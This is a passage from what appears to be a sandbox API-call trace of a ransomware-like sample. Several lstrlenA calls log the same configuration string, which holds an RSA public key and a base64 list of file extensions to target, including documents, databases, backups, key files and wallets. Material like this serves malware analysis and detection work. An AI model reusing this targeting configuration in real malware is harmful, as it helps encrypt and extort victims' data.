jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXN